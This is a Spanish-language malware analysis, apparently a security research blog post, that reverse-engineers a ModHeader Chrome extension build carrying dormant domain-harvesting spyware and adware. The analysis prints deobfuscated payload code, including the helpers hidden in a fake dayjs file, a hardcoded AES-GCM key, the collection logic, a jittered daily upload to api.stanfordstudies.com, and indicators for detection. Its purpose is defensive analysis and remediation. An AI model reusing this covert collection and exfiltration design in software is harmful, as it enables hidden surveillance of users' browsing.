# Malware de ModHeader: por dentro del spyware de Chrome que Google retiró

> Este análisis del malware de ModHeader aplica ingeniería inversa a la extensión de Chrome que Google retiró y destapa un spyware latente que recolecta dominios y los cifra. Todos los detalles dentro.

- **URL:** https://hackindex.io/es/research/malware-modheader-spyware-chrome
- **Published:** 2026-07-12
- **Updated:** 2026-07-14

## **Malware de ModHeader: por dentro del spyware de Chrome que Google retiró**

**Más de 800.000 personas confiaban en esta extensión.** Hasta que una mañana, Chrome la desactivó y la marcó como malware. Sin embargo, Google no dio ninguna razón. No hubo ni una nota sobre qué hacía la extensión, ni sobre qué datos estaban en riesgo.

Esa extensión es ModHeader, una popular herramienta para desarrolladores que reescribe las cabeceras HTTP en cada sitio que visitas. Así que una alerta de malware aquí es un asunto serio. Como respuesta, recuperamos del disco el build eliminado y le hicimos ingeniería inversa. Este análisis del malware de ModHeader recorre el caso completo: el pipeline oculto, el análisis forense y los indicadores de compromiso.

## **TL;DR**

Primero, la versión corta. Los detalles vienen después.

- **Qué:** Un build de ModHeader (`idgpnmonknjnojddfkpgkljpfnnfcklj`, v7.0.18) llevaba un SDK de spyware oculto. Cabe destacar que ese ID es la ficha oficial de ModHeader, y los archivos llevaban firmas de la Chrome Web Store.
- **Comportamiento:** Recolecta los dominios que visitas. Luego cifra la lista con AES-GCM. Por último, envía los datos por POST una vez al día a `api.stanfordstudies.com/app/log`.
- **Escondite:** Los helpers maliciosos están dentro de un archivo llamado `dayjs.min-*.js`. Es decir, el payload se hace pasar por una librería de fechas.
- **Estado:** El colector se distribuye **latente**, detrás de una allowlist vacía (`$w = []`). Aun así, el endpoint, la clave y el programador de tareas están todos presentes.
- **Comando y control:** No hay ninguno que monitorizar. La subida es unidireccional, así que el servidor no puede enviar comandos de vuelta.
- **También adware:** Además del spyware, abre una pestaña de anuncios en **cada actualización** y muestra anuncios dentro de la app. Ese comportamiento se activa incluso en equipos corporativos gestionados.
- **Alcance:** ModHeader tiene **más de 800.000 usuarios** en Chrome, además de una base considerable en Edge. Como el payload viaja en la ficha oficial, toda la base instalada está afectada.
- **Reconocimiento:** El host de exfiltración se esconde detrás de una fachada falsa de "Stanford Studies - Research" y un buzón de correo en Lark. Además, varias señales débiles apuntan a un operador de habla china.
- **Forense:** En la máquina analizada, el spyware **nunca llegó a activarse**. Sin embargo, la extensión había acumulado localmente las cabeceras HTTP completas de toda la navegación.

Sigue leyendo para ver cómo descubrimos cada uno de estos hechos.

## **Contexto: por qué importa una alerta de malware en ModHeader**

ModHeader es una herramienta popular. Los desarrolladores la usan para modificar las cabeceras HTTP de peticiones y respuestas. Por eso necesita un acceso amplio a tu tráfico. Ese acceso es normal para su función. Pero también convierte a la extensión en un objetivo de alto valor.

Una extensión de confianza marcada como malware es el caso interesante. O bien un clon está usando la marca, o bien una extensión de confianza ahora lleva un payload inyectado. Ambos patrones aparecen a menudo en ataques de cadena de suministro contra extensiones de navegador. Por eso, este análisis del malware de ModHeader trata la alerta como una pista, no como un veredicto.

### **Dónde están los archivos**

La extensión eliminada seguía en el disco. La ruta exacta depende de tu navegador y sistema operativo. En Chrome, revisa aquí:

```
Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
```

Edge distribuye el mismo payload con un ID distinto. Así que revisa también ahí:

```
Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
```

ModHeader no está publicado en Firefox, así que no hay ningún complemento de Mozilla que revisar.

## **Primer vistazo: manifest y permisos**

Empezamos por el manifest. Los permisos te muestran rápido el radio de impacto.

```json
// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}
```

El conjunto de permisos es amplio. Incluye `<all_urls>`, `webRequest`, `declarativeNetRequest`, `scripting` y un content script en cada página. Para una herramienta de cabeceras, ese alcance es esperable. Aun así, significa que un build malicioso ya controla tu tráfico web. Curiosamente, el campo `author` dice `modhader@`. Esa errata se repite en el código como `modhader-tool-root`.

## **La pista: un dominio ajeno al proveedor**

Después, extrajimos todos los literales de URL de los bundles. Es el paso de triaje más rápido para código ofuscado.

```bash
grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u
```

La mayoría de los resultados apuntan a `modheader.com`, el proveedor real. Sin embargo, un host destaca por estar fuera de lugar:

- `https://api.stanfordstudies.com/app/log`

Un dominio de "Stanford studies" no pinta nada dentro de una herramienta de cabeceras. Además, `/app/log` es una ruta de ingesta genérica. Así que ese fue el hilo del que tirar. Está en un solo archivo: `assets/src/background-94ad634d.js`.

## **Ofuscación: el malware de ModHeader escondido dentro de un falso **`dayjs`

El payload importa sus helpers de lo que parece la librería de fechas.

```javascript
import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";
```

Pero esas exportaciones no tienen nada que ver con fechas. En realidad, son helpers operativos del spyware.

```javascript
// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight
```

Esto es una distracción deliberada. Un revisor echa un vistazo a los imports, ve "dayjs" y sigue adelante. Como consecuencia, los helpers del malware de ModHeader pasan la revisión a plena vista.

## **Cómo funciona el pipeline de exfiltración del malware de ModHeader**

El diagrama de abajo muestra el flujo completo, desde la navegación hasta la subida. Todos los símbolos que aparecen a continuación son los nombres minificados reales. Tras cada bloque sigue pseudocódigo desofuscado.

Pipeline de exfiltración del malware de ModHeader: recolección de dominios, cifrado AES-GCM y subida diaria a [api.stanfordstudies.com](http://api.stanfordstudies.com)

### **Paso 1: identidad y material criptográfico**

Primero, el payload prepara una clave, un endpoint y un fingerprint.

```javascript
let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};
```

Aquí importan dos cosas.

1. **El "cifrado" es ofuscación, no protección.** La clave AES-GCM se distribuye en texto claro. Por tanto, cualquiera que tenga la extensión puede descifrar el payload. Su única función es ocultar el cuerpo de la petición ante una inspección de red superficial.
2. **El fingerprint es un ID de seguimiento estable.** Es `SHA-256(Date.now())`. El código lo genera una vez y luego lo guarda. Como resultado, actúa como un identificador persistente aleatorio.

### **Paso 2: recolectar el host de cada navegación**

Después, el colector registra dominios. Los indexa por un valor cifrado.

```javascript
async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}
```

Así, el almacén asocia cada hostname cifrado con un contador. En resumen, el operador sabe qué sitios visitas y con qué frecuencia. Aquí no se recolectan las URLs completas ni las rutas. Solo el host.

### **Paso 3: la subida diaria, con jitter según el fingerprint**

Luego el código decide cuándo enviar. Sube los datos como máximo una vez al día. Además, espera a una hora fija que es única para tu fingerprint.

```javascript
async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}
```

Este jitter es ingenioso. Cada víctima sube los datos a una hora distinta. En consecuencia, el tráfico es más difícil de detectar en un monitor de red. Tras un envío correcto, el código vacía el almacén local para borrar las pruebas.

### **Paso 4: el interruptor de apagado es una allowlist vacía**

Por último, toda la cadena depende del ciclo de vida de las pestañas. Sin embargo, una comprobación la frena en seco.

```javascript
chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}
```

Aquí `$w` está vacía. Por tanto, `$w.indexOf(browser)` siempre es `-1`. Como resultado, la comprobación siempre retorna y `Zw` nunca se ejecuta. En este build el colector está presente pero latente. Como `$w` es una constante fija en el código, activarlo requiere una versión nueva. Es decir, el verdadero disparador es una actualización automática.

## **Lo que el malware de ModHeader no hace**

También importa ser preciso sobre lo que no está. Así que buscamos los peores comportamientos y no los encontramos.

- **Sin ejecución remota de código.** No hay `eval`, ni abuso de `new Function`, ni `import("https://...")`.
- **Sin robo de credenciales en la ruta de exfiltración.** La subida contiene hostnames, el fingerprint y el tipo de navegador. No envía cookies ni contenido de las páginas.
- **Las cookies solo se miden, no se envían.** Una rutina de métricas lee `document.cookie.length` para una interfaz que estima el almacenamiento. El valor de la cookie nunca sale de la página.
- **Las cabeceras capturadas se quedan en local.** Los listeners de cabeceras escriben en el almacenamiento local para la vista de historial de la propia extensión.

## **También era adware: pestañas de anuncios en cada actualización**

El spyware estaba latente. El adware no. Los usuarios informaron de que se abrían pestañas de anuncios una y otra vez, incluso en equipos corporativos bloqueados. El código explica por qué.

En cada actualización, la extensión fuerza la apertura de una nueva pestaña activa hacia una red de afiliados.

```javascript
chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});
```

Destacan dos cosas.

- **Cada actualización abre una pestaña.** Las extensiones se actualizan en silencio y a menudo. Así que la pestaña de anuncios vuelve una y otra vez, lo que coincide con las quejas.
- **Los equipos corporativos no se libran.** La pestaña de instalación se omite cuando existen perfiles gestionados. Sin embargo, la pestaña de actualización no tiene esa comprobación. Por tanto, los despliegues corporativos siguen recibiendo las pestañas de anuncios.

Hay un segundo canal de anuncios dentro de la propia extensión. El popup obtiene la configuración de anuncios del proveedor y puede mostrar o cerrar anuncios.

```
GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad
```

La interfaz incluso explica el modelo con todas las letras: "Pausando anuncios temporalmente. Para eliminar los anuncios de forma permanente, considera pasar a un plan de pago, o bajar a un plan limitado para dejar de recibir anuncios."

Así que la extensión incluía adware declarado además del spyware encubierto. Son dos cosas separadas. El adware es visible y molesto, mientras que el spyware es silencioso. Juntos explican tanto las quejas de los usuarios como la alerta de malware.

## **Forense: ¿llegó a activarse alguna vez el malware de ModHeader?**

La base IndexedDB de la extensión sobrevivió a la eliminación. Pesaba unos 178 MB.

```
~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
```

Así que la escaneamos en busca de marcadores de subida.

```bash
strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"
```

Los resultados fueron claros:

- `stanfordstudies` devolvió **cero coincidencias** en los 178 MB completos.
- `lastUploadDate` y `uploadRecord` devolvieron **cero coincidencias**.
- El almacén de dominios `temp` estaba prácticamente vacío.

Por tanto, en este perfil, el colector nunca registró un dominio y nunca subió nada. Eso encaja exactamente con la comprobación latente `$w = []`. En resumen, tu lista de dominios visitados no salió de la máquina.

### **La sorpresa de los 178 MB: un almacén local de cabeceras**

Sin embargo, algo sí llenó 178 MB. La propia función de "historial" de la extensión guardaba las cabeceras completas de petición y respuesta de cada página. Las claves dominantes eran `requestHeaders`, `responseHeaders`, `details` y `tabStartTime`.

Estos datos nunca salieron del disco. Aun así, son sensibles en reposo. Las cabeceras suelen contener tokens de `Authorization`, cookies de sesión y URLs internas. Así que deberías borrar este almacén, tanto si el spyware se activó como si no.

## **¿Dónde está el comando y control?**

Muchos lectores hacen una pregunta razonable. ¿Hay un canal de C2 que monitorizar? En resumen, no.

La subida es estrictamente unidireccional. El cuerpo de la respuesta del `fetch` nunca se lee. No hay `.json()`, ni `.text()`, ni comprobación de `.ok` sobre la respuesta. Además, las constantes operativas están fijadas en el código y nunca se reasignan desde un servidor. Por tanto, `api.stanfordstudies.com` es un buzón de entrega (drop box), no un controlador. No puede dar órdenes a la extensión.

El verdadero canal de control es la actualización automática de la extensión. Para activar el colector latente, un operador tiene que publicar una versión nueva. Ese es exactamente el vector que las tiendas neutralizan cuando retiran una extensión.

## **Reconocimiento del dominio: ¿es realmente malicioso este endpoint del malware de ModHeader?**

No nos quedamos en el código. Además, perfilamos el dominio de exfiltración con reconocimiento pasivo y activo. Esto es lo que revela la propia infraestructura.

### `api.stanfordstudies.com`** es un endpoint de exfiltración disfrazado**

Primero, el nombre es engañoso. La fachada pública en `www.stanfordstudies.com` lleva el título "Stanford Studies - Research". Sin embargo, no tiene ningún vínculo con la Universidad de Stanford. Además, la página es un cascarón vacío. No hay organización de investigación, ni política de privacidad, ni contacto. En cambio, un estudio legítimo de recolección de datos publica las tres cosas.

Segundo, el host de la API se comporta como un buzón de entrega, no como un sitio web.

- El dominio se creó el 2022-05-09 a través de Squarespace. Su WHOIS está oculto por privacidad.
- Su correo pasa por `larksuite.com` (Lark / Feishu). Esto apunta a un operador de habla china. Cabe destacar que encaja con la cadena `盐` ("sal") incrustada en el código.
- `api.stanfordstudies.com` resuelve a un único host EC2 de AWS (`3.147.61.167`, región us-east-2).
- Una sonda contra la dirección raíz agotó el tiempo de espera. Por tanto, el host solo responde en su ruta de ingesta, no al tráfico web normal.
- Por último, urlscan.io tiene registros del endpoint exacto `api.stanfordstudies.com/app/log`. También tiene escaneos del host que se remontan a noviembre de 2023.

En conjunto, esto es un endpoint de ingesta encubierto disfrazado de investigación académica. Por eso lo calificamos de malicioso.

### **De dónde viene la infraestructura**

Luego rastreamos el hosting y su historial. El resultado es una infraestructura genérica, protegida por privacidad, con un pasado más largo del que sugiere su documentación.

- **Host.** El endpoint se ejecuta en una única instancia AWS EC2, `3.147.61.167`, con DNS inverso `ec2-3-147-61-167.us-east-2.compute.amazonaws.com`. Eso lo sitúa en AWS `us-east-2` (Columbus, Ohio, AS16509 Amazon).
- **Más antiguo de lo que parece.** El WHOIS indica una fecha de creación en 2022. Sin embargo, la transparencia de certificados muestra certificados para el dominio desde 2017. Así que el nombre es anterior al registro actual, lo que apunta a un nuevo registro o a un cambio de propietario.
- **Sigue activo.** El certificado más reciente se emitió en marzo de 2026. Mientras tanto, urlscan.io registró el endpoint `/app/log` a lo largo de 2025 y de nuevo en julio de 2026.
- **Una operación real.** Además de `api` y `www`, el dominio expone los subdominios `dev`, `devlog` y `devos`. Eso es un entorno de desarrollo y operaciones mantenido, no algo desechable.

Aun así, el WHOIS del registrador está oculto por privacidad, y los servidores están en rangos compartidos de AWS. Por tanto, el rastro se queda a un paso de un nombre.

### **Contexto de cadena de suministro: este es el ID oficial de ModHeader**

Un detalle eleva lo que está en juego. El ID de extensión `idgpnmonknjnojddfkpgkljpfnnfcklj` es la ficha oficial de ModHeader, que da servicio a más de 800.000 usuarios. Además, el build venía con firmas de la Chrome Web Store (`_metadata/verified_contents.json`). Como Chrome se niega a ejecutar archivos manipulados, el código analizado es la distribución firmada, no un clon modificado en local.

Sin embargo, solo con el binario no podemos probar quién añadió el payload. Podría deberse a una transferencia de propiedad, a un SDK de monetización inyectado o a una decisión del proveedor. Ese patrón está bien documentado en el sector. Por eso, presentamos las pruebas y dejamos abierta la cuestión de la autoría.

### **Veredicto por dominio**

| **Dominio** | **Papel en el malware de ModHeader** | **Infraestructura** | **Veredicto** |
| --- | --- | --- | --- |
| `api.stanfordstudies.com` | Ingesta de los dominios recolectados y cifrados | AWS EC2, raíz inaccesible, disfraz de "Stanford", correo en Lark | **Malicioso** |
| `www.extensions-hub.com` | Adware: pestaña de anuncios abierta en cada actualización | AWS S3 + CloudFront, SaaS de afiliados, compartido entre extensiones | Adware invasivo para la privacidad |
| `modheader.com` | Sincronización en la nube del proveedor (mostrado como contraste) | AWS + Google Workspace, transparente | Legítimo |

## **Alcance y atribución: ¿quién está expuesto y quién está detrás?**

### **Cuántos usuarios están expuestos**

El radio de impacto es grande, porque esta es la ficha principal. Además, abarca dos navegadores.

- **Chrome:** más de 800.000 instalaciones, publicada como "ModHeader".
- **Edge:** la misma extensión se distribuye con el ID `opgbiafapkbbnbnjcdomjaghbckfkglc`, con una base de instalaciones propia considerable. Microsoft la retiró de la tienda Edge Add-ons el 2026-07-03.
- **Firefox:** no existe un complemento oficial de ModHeader, así que los usuarios de Firefox no están afectados.
- **Valoración:** 2,91 estrellas con 1.226 votos. Es una cifra inusualmente baja para una herramienta de desarrollo con tantos años.
- **Idiomas de la ficha:** inglés y chino simplificado (`zh-CN`).
- **Última actualización de la ficha:** 2026-07-01, que coincide con el build v7.0.18 analizado.

La valoración baja no es casualidad. Reseñas recientes ya señalan la extensión por su comportamiento de adware y sus anuncios de afiliados. Sin embargo, esos anuncios están declarados, y la extensión ofrece una forma de desactivarlos. Por tanto, son una queja aparte y visible. El colector de `stanfordstudies.com` es lo contrario. Es encubierto, va cifrado y no ofrece ni aviso ni opción de desactivarlo. Así que no confundas las dos cosas: los anuncios declarados son un problema de confianza, mientras que la recolección oculta de dominios es el verdadero spyware.

### **Señales del actor de amenazas (confianza baja)**

Solo podemos esbozar al operador a grandes rasgos. Importante: no señalamos a ningún grupo, y ninguna de estas señales es una prueba.

- **Correo en Lark.** El dominio de exfiltración enruta su correo a través de `larksuite.com` (Lark / Feishu), una suite habitual entre equipos de habla china.
- **Una cadena en chino en el código.** La sal del fingerprint incluye el carácter `盐`, que significa "sal".
- **Elementos en idioma chino.** La ficha incluye una traducción al chino simplificado, y el content script trata `baidu.com` como un caso especial.
- **Una fachada de bandera falsa.** La página de "Stanford Studies" toma prestado el nombre de una universidad estadounidense de prestigio. Claramente, eso es una distracción, no una afiliación real.

En conjunto, estas señales apuntan débilmente a un operador de habla china. Aun así, la infraestructura está en AWS y el WHOIS está oculto por privacidad. Por eso, no podemos vincularlo a un actor concreto solo con fuentes abiertas.

## **Evaluación de impacto**

Este es el riesgo de un vistazo.

| **Vector** | **Estado en v7.0.18** | **Datos expuestos** | **Gravedad** |
| --- | --- | --- | --- |
| Recolección de dominios hacia `stanfordstudies.com` | Latente; nunca se activó | Hostnames visitados, fingerprint, navegador | Capacidad alta |
| Pestañas de anuncios + anuncios dentro de la app | Activo | Nueva pestaña en cada actualización, incl. equipos gestionados | Media (no deseado) |
| Historial local de cabeceras | Activo, solo local | Cabeceras completas de toda la navegación | Media en reposo |
| Alcance de los permisos | Concedido | Leer y modificar todo el tráfico HTTP | Potencial alto |

En pocas palabras, en esta máquina no se exfiltró nada. Pero el malware de ModHeader incluía un pipeline de spyware completo, con su clave y su endpoint listos. Estaba a un cambio de código de activarse. Mientras tanto, almacenaba localmente datos sensibles de cabeceras. Esa combinación justifica de sobra una retirada.

## **Detección y remediación**

### **Si eres un usuario afectado**

Sigue estos pasos en orden.

1. Confirma que el navegador desactivó la extensión. Chrome y Edge suelen hacerlo automáticamente.
2. Borra los directorios de almacenamiento residuales que se indican abajo.
3. Bloquea y registra las consultas DNS a `api.stanfordstudies.com`.
4. Reinstala una herramienta de cabeceras solo desde una fuente de confianza.

```
Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
```

En Edge, las mismas carpetas están bajo `Microsoft Edge/` en lugar de `Google/Chrome/`, y el ID de la extensión es `opgbiafapkbbnbnjcdomjaghbckfkglc`.

### **Si defiendes una flota de equipos**

Usa estas búsquedas y heurísticas.

- Busca con grep en los directorios de extensiones desempaquetadas las cadenas IOC de abajo.
- Genera una alerta para cualquier extensión que envíe por POST un cuerpo opaco y cifrado a un dominio ajeno al proveedor.
- Marca como code smell los helpers operativos exportados desde un archivo de librería de terceros.

## **Indicadores de compromiso**

Usa estos IOC para buscar el mismo SDK del malware de ModHeader en otros lugares.

**Red**

```
api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)
```

**Extensión**

```
Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18
```

**Cadenas estáticas**

```
Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log
```

**Archivos (hashes de Vite de este build)**

```
assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)
```

## **Mapa de símbolos**

Como referencia, este es el mapa de cada nombre minificado y su significado.

| **Minificado** | **Significado** |
| --- | --- |
| `qw` | URL de exfiltración `api.stanfordstudies.com/app/log` |
| `$w` | comprobación de la allowlist de navegadores (vacía = latente) |
| `Yw` | sal del fingerprint `mod盐header` |
| `qo` | clave AES-GCM importada |
| `Hw` | `fp = SHA-256(Date.now())` como ID de instalación |
| `Zw` | registra un dominio visitado |
| `Qw` | decisión de subida + vaciado tras un envío correcto |
| `zw` | comprobación de hora del día según el fingerprint |
| `sf` / `af` / `Za` / `u0` | id del navegador / host / medianoche / espera |

## **Lecturas adicionales**

Para un contexto más amplio sobre cómo las extensiones de confianza se vuelven hostiles, consulta los siguientes informes externos.

- [Una extensión de Chrome se vuelve maliciosa tras un cambio de propietario (The Hacker News)](https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html)
- [Extensiones de navegador distribuyeron malware a 4,3 millones de usuarios de Chrome y Edge (The Register)](https://www.theregister.com/2025/12/01/chrome_edge_malicious_browser_extensions/)
- [Desarrolladores de extensiones venden los datos de al menos 6,5 millones de usuarios (LayerX)](https://layerxsecurity.com/blog/your-extensions-sell-your-data-and-its-perfectly-legal/)
- [Un estudio sobre extensiones de navegador maliciosas en 2025 (arXiv)](https://arxiv.org/html/2503.04292v2)

*Este análisis combina análisis estático y forense en disco de un único build instalado. No afirmamos ninguna atribución. Si puedes confirmar si la Web Store oficial distribuyó exactamente este build, ponte en contacto con HackIndex Research.*